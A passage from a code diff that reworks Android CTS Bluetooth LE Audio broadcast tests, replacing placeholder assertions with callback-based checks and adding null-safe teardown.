if (mIsBroadcastAssistantSupported) {
boolean isBroadcastAssistantEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
assertTrue("Config must be true when profile is supported",
isBroadcastAssistantEnabledInConfig);
}
mIsBroadcastSourceSupported =
mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
- if (!mIsBroadcastSourceSupported) {
+ if (mIsBroadcastSourceSupported) {
boolean isBroadcastSourceEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
assertTrue("Config must be true when profile is supported",
isBroadcastSourceEnabledInConfig);
}
@@ -95,7 +93,9 @@
@After
public void tearDown() {
if (mHasBluetooth) {
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
mAdapter = null;
TestUtils.dropPermissionAsShellUid();
}
@@ -126,7 +126,7 @@
new BluetoothLeAudioCodecConfigMetadata.Builder(codecMetadata).build();
assertEquals(codecMetadata, codecMetadataCopy);
assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT, codecMetadataCopy.getAudioLocation());
- assertArrayEquals(TEST_METADATA_BYTES, codecMetadata.getRawMetadata());
+ assertArrayEquals(codecMetadata.getRawMetadata(), codecMetadataCopy.getRawMetadata());
}
@Test
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java
index 673afed..ccf7fdb 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java
@@ -81,18 +81,16 @@
mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
if (mIsBroadcastAssistantSupported) {
boolean isBroadcastAssistantEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
assertTrue("Config must be true when profile is supported",
isBroadcastAssistantEnabledInConfig);
}
mIsBroadcastSourceSupported =
mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
- if (!mIsBroadcastSourceSupported) {
+ if (mIsBroadcastSourceSupported) {
boolean isBroadcastSourceEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
assertTrue("Config must be true when profile is supported",
isBroadcastSourceEnabledInConfig);
}
@@ -101,7 +99,9 @@
@After
public void tearDown() {
if (mHasBluetooth) {
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
mAdapter = null;
TestUtils.dropPermissionAsShellUid();
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java
index 2d9d1f2..2fc24f5 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java
@@ -120,8 +120,8 @@
if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_BLUETOOTH);
-
if (!mHasBluetooth) return;
+
TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
@@ -148,18 +148,19 @@
@Override
public void tearDown() throws Exception {
super.tearDown();
- if (mHasBluetooth) {
- if (mBluetoothLeAudio != null) {
- mBluetoothLeAudio.close();
- mBluetoothLeAudio = null;
- mIsProfileReady = false;
- }
- if (mAdapter != null) {
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
- mAdapter = null;
- }
- TestUtils.dropPermissionAsShellUid();
+ if (!(mHasBluetooth && mIsLeAudioSupported)) {
+ return;
}
+ if (mBluetoothLeAudio != null) {
+ mBluetoothLeAudio.close();
+ mBluetoothLeAudio = null;
+ mIsProfileReady = false;
+ }
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
+ TestUtils.dropPermissionAsShellUid();
+ mAdapter = null;
}
public void testGetConnectedDevices() {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java
index 667aa52..d1e08fc 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java
@@ -24,12 +24,18 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertThrows;
import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothLeAudioCodecConfigMetadata;
+import android.bluetooth.BluetoothLeAudioContentMetadata;
import android.bluetooth.BluetoothLeBroadcastAssistant;
+import android.bluetooth.BluetoothLeBroadcastChannel;
import android.bluetooth.BluetoothLeBroadcastMetadata;
import android.bluetooth.BluetoothLeBroadcastReceiveState;
+import android.bluetooth.BluetoothLeBroadcastSubgroup;
import android.bluetooth.BluetoothProfile;
import android.bluetooth.BluetoothStatusCodes;
import android.content.Context;
@@ -46,8 +52,10 @@
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
-import java.util.ArrayList;
+import java.util.Collections;
import java.util.List;
import java.util.concurrent.Executor;
import java.util.concurrent.TimeUnit;
@@ -59,18 +67,40 @@
public class BluetoothLeBroadcastAssistantTest {
private static final String TAG = BluetoothLeBroadcastAssistantTest.class.getSimpleName();
-
+ private static final int START_SEARCH_TIMEOUT_MS = 100;
+ private static final int ADD_SOURCE_TIMEOUT_MS = 100;
private static final int PROXY_CONNECTION_TIMEOUT_MS = 500; // ms timeout for Proxy Connect
+ private static final String TEST_ADDRESS_1 = "EF:11:22:33:44:55";
+ private static final String TEST_ADDRESS_2 = "EF:11:22:33:44:66";
+ private static final int TEST_BROADCAST_ID = 42;
+ private static final int TEST_ADVERTISER_SID = 1234;
+ private static final int TEST_PA_SYNC_INTERVAL = 100;
+ private static final int TEST_PRESENTATION_DELAY_MS = 345;
+
+ private static final int TEST_CODEC_ID = 42;
+
+ // For BluetoothLeAudioCodecConfigMetadata
+ private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
+
+ // For BluetoothLeAudioContentMetadata
+ private static final String TEST_PROGRAM_INFO = "Test";
+ // German language code in ISO 639-3
+ private static final String TEST_LANGUAGE = "deu";
+
private Context mContext;
private boolean mHasBluetooth;
private BluetoothAdapter mAdapter;
+ Executor mExecutor;
private BluetoothLeBroadcastAssistant mBluetoothLeBroadcastAssistant;
private boolean mIsBroadcastAssistantSupported;
private boolean mIsProfileReady;
private Condition mConditionProfileIsConnected;
- private ReentrantLock mProfileConnectedlock;
+ private ReentrantLock mProfileConnectedLock;
+
+ @Mock
+ BluetoothLeBroadcastAssistant.Callback mCallbacks;
@Before
public void setUp() {
@@ -82,12 +112,14 @@
if (!mHasBluetooth) {
return;
}
+ MockitoAnnotations.initMocks(this);
+ mExecutor = mContext.getMainExecutor();
TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
mAdapter = TestUtils.getBluetoothAdapterOrDie();
assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
- mProfileConnectedlock = new ReentrantLock();
- mConditionProfileIsConnected = mProfileConnectedlock.newCondition();
+ mProfileConnectedLock = new ReentrantLock();
+ mConditionProfileIsConnected = mProfileConnectedLock.newCondition();
mIsProfileReady = false;
mBluetoothLeBroadcastAssistant = null;
@@ -95,8 +127,7 @@
mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
if (mIsBroadcastAssistantSupported) {
boolean isBroadcastAssistantEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
assertTrue("Config must be true when profile is supported",
isBroadcastAssistantEnabledInConfig);
}
@@ -114,96 +145,206 @@
mBluetoothLeBroadcastAssistant = null;
mIsProfileReady = false;
}
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
mAdapter = null;
TestUtils.dropPermissionAsShellUid();
}
}
@Test
- public void test_addSource() {
+ public void testAddSource() {
if (shouldSkipTest()) {
return;
}
assertTrue(waitForProfileConnect());
assertNotNull(mBluetoothLeBroadcastAssistant);
- // TODO When implemented
- assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
+ BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+ BluetoothDevice.ADDRESS_TYPE_RANDOM);
+ BluetoothDevice testSourceDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+ BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+ BluetoothLeBroadcastMetadata.Builder builder = new BluetoothLeBroadcastMetadata.Builder()
+ .setEncrypted(false)
+ .setSourceDevice(testSourceDevice, BluetoothDevice.ADDRESS_TYPE_RANDOM)
+ .setSourceAdvertisingSid(TEST_ADVERTISER_SID)
+ .setBroadcastId(TEST_BROADCAST_ID)
+ .setBroadcastCode(null)
+ .setPaSyncInterval(TEST_PA_SYNC_INTERVAL)
+ .setPresentationDelayMicros(TEST_PRESENTATION_DELAY_MS);
+
+ BluetoothLeBroadcastSubgroup[] subgroups = new BluetoothLeBroadcastSubgroup[] {
+ createBroadcastSubgroup()
+ };
+ for (BluetoothLeBroadcastSubgroup subgroup : subgroups) {
+ builder.addSubgroup(subgroup);
+ }
+ BluetoothLeBroadcastMetadata metadata = builder.build();
+
+ // Verifies that it throws exception when no callback is registered
+ assertThrows(IllegalStateException.class, () -> mBluetoothLeBroadcastAssistant
+ .addSource(testDevice, metadata, true));
+
+ mBluetoothLeBroadcastAssistant.registerCallback(mExecutor, mCallbacks);
+
+ // Verify that exceptions is thrown when sink or source is null
+ assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+ .addSource(testDevice, null, true));
+ assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+ .addSource(null, metadata, true));
+ assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
.addSource(null, null, true));
- mBluetoothLeBroadcastAssistant.removeSource(null, 0);
+ // Verify that adding source to unknown test device will fail
+ mBluetoothLeBroadcastAssistant.addSource(testDevice, metadata, true);
+ verify(mCallbacks, timeout(ADD_SOURCE_TIMEOUT_MS)).onSourceAddFailed(testDevice, metadata,
+ BluetoothStatusCodes.ERROR_REMOTE_LINK_ERROR);
+
+ // Verify that removing null source device will throw exception
+ assertThrows(NullPointerException.class,
+ () -> mBluetoothLeBroadcastAssistant.removeSource(null, 0));
+
+ // Verify that removing unknown device will fail
+ mBluetoothLeBroadcastAssistant.removeSource(testDevice, 0);
+ verify(mCallbacks, timeout(ADD_SOURCE_TIMEOUT_MS)).onSourceRemoveFailed(
+ testDevice, 0, BluetoothStatusCodes.ERROR_REMOTE_LINK_ERROR);
+
+ // Do not forget to unregister callbacks
+ mBluetoothLeBroadcastAssistant.unregisterCallback(mCallbacks);
}
@Test
- public void test_getAllSources() {
+ public void testGetAllSources() {
if (shouldSkipTest()) {
return;
}
assertTrue(waitForProfileConnect());
assertNotNull(mBluetoothLeBroadcastAssistant);
- // TODO When implemented
+ BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+ BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+ // Verify implementation throws exception when input is null
+ assertThrows(NullPointerException.class,
+ () -> mBluetoothLeBroadcastAssistant.getAllSources(null));
+
+ // Verify returns empty list if a device is not connected
+ assertTrue(mBluetoothLeBroadcastAssistant.getAllSources(testDevice).isEmpty());
assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
// Verify returns empty list if bluetooth is not enabled
- assertTrue(mBluetoothLeBroadcastAssistant.getAllSources(null).isEmpty());
+ assertTrue(mBluetoothLeBroadcastAssistant.getAllSources(testDevice).isEmpty());
}
@Test
- public void test_setConnectionPolicy() {
+ public void testSetConnectionPolicy() {
if (shouldSkipTest()) {
return;
}
assertTrue(waitForProfileConnect());
assertNotNull(mBluetoothLeBroadcastAssistant);
- // TODO When implemented
- assertFalse(mBluetoothLeBroadcastAssistant.setConnectionPolicy(null,
- BluetoothProfile.CONNECTION_POLICY_FORBIDDEN));
- assertEquals(mBluetoothLeBroadcastAssistant.getConnectionPolicy(null),
- BluetoothProfile.CONNECTION_POLICY_FORBIDDEN);
+ BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+ BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+ // Verify that it returns unknown for an unknown test device
+ assertEquals(BluetoothProfile.CONNECTION_POLICY_UNKNOWN,
+ mBluetoothLeBroadcastAssistant.getConnectionPolicy(testDevice));
+
+ // Verify that it returns true even for an unknown test device
+ assertTrue(mBluetoothLeBroadcastAssistant.setConnectionPolicy(testDevice,
+ BluetoothProfile.CONNECTION_POLICY_ALLOWED));
+
+ // Verify that it returns the same value we set before
+ assertEquals(BluetoothProfile.CONNECTION_POLICY_ALLOWED,
+ mBluetoothLeBroadcastAssistant.getConnectionPolicy(testDevice));
}
@Test
- public void test_getMaximumSourceCapacity() {
+ public void testGetMaximumSourceCapacity() {
if (shouldSkipTest()) {
return;
}
assertTrue(waitForProfileConnect());
assertNotNull(mBluetoothLeBroadcastAssistant);
- // TODO When implemented
- assertEquals(mBluetoothLeBroadcastAssistant.getMaximumSourceCapacity(null), 0);
+ BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+ BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+ // Verifies that it returns 0 for an unknown test device
+ assertEquals(mBluetoothLeBroadcastAssistant.getMaximumSourceCapacity(testDevice), 0);
+
+ // Verifies that it throws exception when input is null
+ assertThrows(NullPointerException.class,
+ () -> mBluetoothLeBroadcastAssistant.getMaximumSourceCapacity(null));
}
@Test
- public void test_isSearchInProgress() {
+ public void testIsSearchInProgress() {
if (shouldSkipTest()) {
return;
}
assertTrue(waitForProfileConnect());
assertNotNull(mBluetoothLeBroadcastAssistant);
- // TODO When implemented
+ // Verify that it returns false when search is not in progress
assertFalse(mBluetoothLeBroadcastAssistant.isSearchInProgress());
}
@Test
- public void test_modifySource() {
+ public void testModifySource() {
if (shouldSkipTest()) {
return;
}
assertTrue(waitForProfileConnect());
assertNotNull(mBluetoothLeBroadcastAssistant);
- // TODO When implemented
- assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
+ BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+ BluetoothDevice.ADDRESS_TYPE_RANDOM);
+ BluetoothDevice testSourceDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+ BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+ BluetoothLeBroadcastMetadata.Builder builder = new BluetoothLeBroadcastMetadata.Builder()
+ .setEncrypted(false)
+ .setSourceDevice(testSourceDevice, BluetoothDevice.ADDRESS_TYPE_RANDOM)
+ .setSourceAdvertisingSid(TEST_ADVERTISER_SID)
+ .setBroadcastId(TEST_BROADCAST_ID)
+ .setBroadcastCode(null)
+ .setPaSyncInterval(TEST_PA_SYNC_INTERVAL)
+ .setPresentationDelayMicros(TEST_PRESENTATION_DELAY_MS);
+
+ BluetoothLeBroadcastSubgroup[] subgroups = new BluetoothLeBroadcastSubgroup[] {
+ createBroadcastSubgroup()
+ };
+ for (BluetoothLeBroadcastSubgroup subgroup : subgroups) {
+ builder.addSubgroup(subgroup);
+ }
+ BluetoothLeBroadcastMetadata metadata = builder.build();
+
+ // Verifies that it throws exception when callback is not registered
+ assertThrows(IllegalStateException.class, () -> mBluetoothLeBroadcastAssistant
+ .modifySource(testDevice, 0, metadata));
+
+ mBluetoothLeBroadcastAssistant.registerCallback(mExecutor, mCallbacks);
+
+ // Verifies that it throws exception when argument is null
+ assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
.modifySource(null, 0, null));
+ assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+ .modifySource(testDevice, 0, null));
+ assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+ .modifySource(null, 0, metadata));
+
+ // Verify failure callback when test device is not connected
+ mBluetoothLeBroadcastAssistant.modifySource(testDevice, 0, metadata);
+ verify(mCallbacks, timeout(ADD_SOURCE_TIMEOUT_MS)).onSourceModifyFailed(
+ testDevice, 0, BluetoothStatusCodes.ERROR_REMOTE_LINK_ERROR);
}
@Test
- public void test_registerCallback() {
+ public void testRegisterCallback() {
if (shouldSkipTest()) {
return;
}
@@ -257,38 +398,55 @@
callback.onReceiveStateChanged(null, 0, null);
// Verify parameter
- assertThrows(IllegalArgumentException.class, () -> mBluetoothLeBroadcastAssistant
+ assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
.registerCallback(null, callback));
- assertThrows(IllegalArgumentException.class, () -> mBluetoothLeBroadcastAssistant
+ assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
.registerCallback(executor, null));
- assertThrows(IllegalArgumentException.class, () -> mBluetoothLeBroadcastAssistant
+ assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
.unregisterCallback(null));
- // TODO When implemented
- assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
- .registerCallback(executor, callback));
- assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
- .unregisterCallback(callback));
+ // Verify that register and unregister callback will not cause any crush issues
+ mBluetoothLeBroadcastAssistant.registerCallback(executor, callback);
+ mBluetoothLeBroadcastAssistant.unregisterCallback(callback);
}
@Test
- public void test_startSearchingForSources() {
+ public void testStartSearchingForSources() {
if (shouldSkipTest()) {
return;
}
assertTrue(waitForProfileConnect());
assertNotNull(mBluetoothLeBroadcastAssistant);
- // Verify parameter
- assertThrows(IllegalArgumentException.class, () -> mBluetoothLeBroadcastAssistant
+ // Verifies that it throws exception when no callback is registered
+ assertThrows(IllegalStateException.class, () -> mBluetoothLeBroadcastAssistant
+ .startSearchingForSources(Collections.emptyList()));
+
+ mBluetoothLeBroadcastAssistant.registerCallback(mExecutor, mCallbacks);
+
+ // Verifies that it throws exception when filter is null
+ assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
.startSearchingForSources(null));
- // TODO When implemented
- assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
- .startSearchingForSources(new ArrayList<>()));
- assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
- .stopSearchingForSources());
+ // Verify that starting search triggers callback with the right reason
+ mBluetoothLeBroadcastAssistant.startSearchingForSources(Collections.emptyList());
+ verify(mCallbacks, timeout(START_SEARCH_TIMEOUT_MS))
+ .onSearchStarted(BluetoothStatusCodes.REASON_LOCAL_APP_REQUEST);
+
+ // Verify search state is right
+ assertTrue(mBluetoothLeBroadcastAssistant.isSearchInProgress());
+
+ // Verify that stopping search triggers the callback with the right reason
+ mBluetoothLeBroadcastAssistant.stopSearchingForSources();
+ verify(mCallbacks, timeout(START_SEARCH_TIMEOUT_MS))
+ .onSearchStarted(BluetoothStatusCodes.REASON_LOCAL_APP_REQUEST);
+
+ // Verify search state is right
+ assertFalse(mBluetoothLeBroadcastAssistant.isSearchInProgress());
+
+ // Do not forget to unregister callbacks
+ mBluetoothLeBroadcastAssistant.unregisterCallback(mCallbacks);
}
@Test
@@ -299,11 +457,17 @@
assertTrue(waitForProfileConnect());
assertNotNull(mBluetoothLeBroadcastAssistant);
+ // Verify returns empty list if no broadcast assistant device is connected
+ List<BluetoothDevice> connectedDevices =
+ mBluetoothLeBroadcastAssistant.getConnectedDevices();
+ assertNotNull(connectedDevices);
+ assertTrue(connectedDevices.isEmpty());
+
assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
// Verify returns empty list if bluetooth is not enabled
- List<BluetoothDevice> connectedDevices =
- mBluetoothLeBroadcastAssistant.getConnectedDevices();
+ connectedDevices = mBluetoothLeBroadcastAssistant.getConnectedDevices();
+ assertNotNull(connectedDevices);
assertTrue(connectedDevices.isEmpty());
}
@@ -315,11 +479,23 @@
assertTrue(waitForProfileConnect());
assertNotNull(mBluetoothLeBroadcastAssistant);
+ // Verify returns empty list if no broadcast assistant device is connected
+ int[] states = {BluetoothProfile.STATE_CONNECTED};
+ List<BluetoothDevice> connectedDevices =
+ mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(states);
+ assertNotNull(connectedDevices);
+ assertTrue(connectedDevices.isEmpty());
+
+ // Verify exception is thrown when null input is given
+ assertThrows(NullPointerException.class,
+ () -> mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(null));
+
assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
// Verify returns empty list if bluetooth is not enabled
- List<BluetoothDevice> connectedDevices =
- mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(null);
+ connectedDevices =
+ mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(states);
+ assertNotNull(connectedDevices);
assertTrue(connectedDevices.isEmpty());
}
@@ -334,8 +510,8 @@
BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
- // Verify returns false when invalid input is given
- assertEquals(BluetoothProfile.STATE_DISCONNECTED,
+ // Verify exception is thrown when null input is given
+ assertThrows(NullPointerException.class, () ->
mBluetoothLeBroadcastAssistant.getConnectionState(null));
assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
@@ -363,7 +539,7 @@
}
private boolean waitForProfileConnect() {
- mProfileConnectedlock.lock();
+ mProfileConnectedLock.lock();
try {
// Wait for the Adapter to be disabled
while (!mIsProfileReady) {
@@ -377,23 +553,22 @@
} catch (InterruptedException e) {
Log.e(TAG, "waitForProfileConnect: interrrupted");
} finally {
- mProfileConnectedlock.unlock();
+ mProfileConnectedLock.unlock();
}
return mIsProfileReady;
}
- private final class ServiceListener implements
- BluetoothProfile.ServiceListener {
+ private final class ServiceListener implements BluetoothProfile.ServiceListener {
@Override
public void onServiceConnected(int profile, BluetoothProfile proxy) {
- mProfileConnectedlock.lock();
+ mProfileConnectedLock.lock();
mBluetoothLeBroadcastAssistant = (BluetoothLeBroadcastAssistant) proxy;
mIsProfileReady = true;
try {
mConditionProfileIsConnected.signal();
} finally {
- mProfileConnectedlock.unlock();
+ mProfileConnectedLock.unlock();
}
}
@@ -401,4 +576,23 @@
public void onServiceDisconnected(int profile) {
}
}
+
+ static BluetoothLeBroadcastSubgroup createBroadcastSubgroup() {
+ BluetoothLeAudioCodecConfigMetadata codecMetadata =
+ new BluetoothLeAudioCodecConfigMetadata.Builder()
+ .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+ BluetoothLeAudioContentMetadata contentMetadata =
+ new BluetoothLeAudioContentMetadata.Builder()
+ .setProgramInfo(TEST_PROGRAM_INFO).setLanguage(TEST_LANGUAGE).build();
+ BluetoothLeBroadcastSubgroup.Builder builder = new BluetoothLeBroadcastSubgroup.Builder()
+ .setCodecId(TEST_CODEC_ID)
+ .setCodecSpecificConfig(codecMetadata)
+ .setContentMetadata(contentMetadata);
+ BluetoothLeAudioCodecConfigMetadata emptyMetadata =
+ new BluetoothLeAudioCodecConfigMetadata.Builder().build();
+ BluetoothLeBroadcastChannel channel = new BluetoothLeBroadcastChannel.Builder()
+ .setChannelIndex(42).setSelected(true).setCodecMetadata(emptyMetadata).build();
+ builder.addChannel(channel);
+ return builder.build();
+ }
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java
index 2c862b8..e4d0577 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java
@@ -20,10 +20,11 @@
import static android.bluetooth.BluetoothStatusCodes.FEATURE_SUPPORTED;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothLeAudioCodecConfigMetadata;
import android.bluetooth.BluetoothLeBroadcastChannel;
import android.bluetooth.BluetoothProfile;
import android.content.Context;
@@ -43,6 +44,7 @@
@RunWith(AndroidJUnit4.class)
@SmallTest
public class BluetoothLeBroadcastChannelTest {
+ private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
private static final int TEST_CHANNEL_INDEX = 42;
private Context mContext;
@@ -69,18 +71,17 @@
mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
if (mIsBroadcastAssistantSupported) {
boolean isBroadcastAssistantEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
assertTrue("Config must be true when profile is supported",
isBroadcastAssistantEnabledInConfig);
}
mIsBroadcastSourceSupported =
mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
- if (!mIsBroadcastSourceSupported) {
+ if (mIsBroadcastSourceSupported) {
boolean isBroadcastSourceEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(
+ BluetoothProfile.LE_AUDIO_BROADCAST);
assertTrue("Config must be true when profile is supported",
isBroadcastSourceEnabledInConfig);
}
@@ -89,7 +90,9 @@
@After
public void tearDown() {
if (mHasBluetooth) {
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
mAdapter = null;
TestUtils.dropPermissionAsShellUid();
}
@@ -100,15 +103,21 @@
if (shouldSkipTest()) {
return;
}
+ BluetoothLeAudioCodecConfigMetadata codecMetadata =
+ new BluetoothLeAudioCodecConfigMetadata.Builder()
+ .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
BluetoothLeBroadcastChannel channel =
new BluetoothLeBroadcastChannel.Builder()
.setSelected(true)
.setChannelIndex(TEST_CHANNEL_INDEX)
- .setCodecMetadata(null)
+ .setCodecMetadata(codecMetadata)
.build();
assertTrue(channel.isSelected());
assertEquals(TEST_CHANNEL_INDEX, channel.getChannelIndex());
- assertNull(channel.getCodecMetadata());
+ assertEquals(codecMetadata, channel.getCodecMetadata());
+ assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT, channel.getCodecMetadata().getAudioLocation());
+ assertNotNull(channel.getCodecMetadata());
+ assertEquals(codecMetadata, channel.getCodecMetadata());
}
@Test
@@ -116,17 +125,24 @@
if (shouldSkipTest()) {
return;
}
+ BluetoothLeAudioCodecConfigMetadata codecMetadata =
+ new BluetoothLeAudioCodecConfigMetadata.Builder()
+ .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
BluetoothLeBroadcastChannel channel =
new BluetoothLeBroadcastChannel.Builder()
.setSelected(true)
.setChannelIndex(TEST_CHANNEL_INDEX)
- .setCodecMetadata(null)
+ .setCodecMetadata(codecMetadata)
.build();
BluetoothLeBroadcastChannel channelCopy =
new BluetoothLeBroadcastChannel.Builder(channel).build();
assertTrue(channelCopy.isSelected());
assertEquals(TEST_CHANNEL_INDEX, channelCopy.getChannelIndex());
- assertNull(channelCopy.getCodecMetadata());
+ assertEquals(codecMetadata, channelCopy.getCodecMetadata());
+ assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT,
+ channelCopy.getCodecMetadata().getAudioLocation());
+ assertNotNull(channelCopy.getCodecMetadata());
+ assertEquals(channel.getCodecMetadata(), channelCopy.getCodecMetadata());
}
private boolean shouldSkipTest() {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java
index ad96fe0..7ff121a 100644
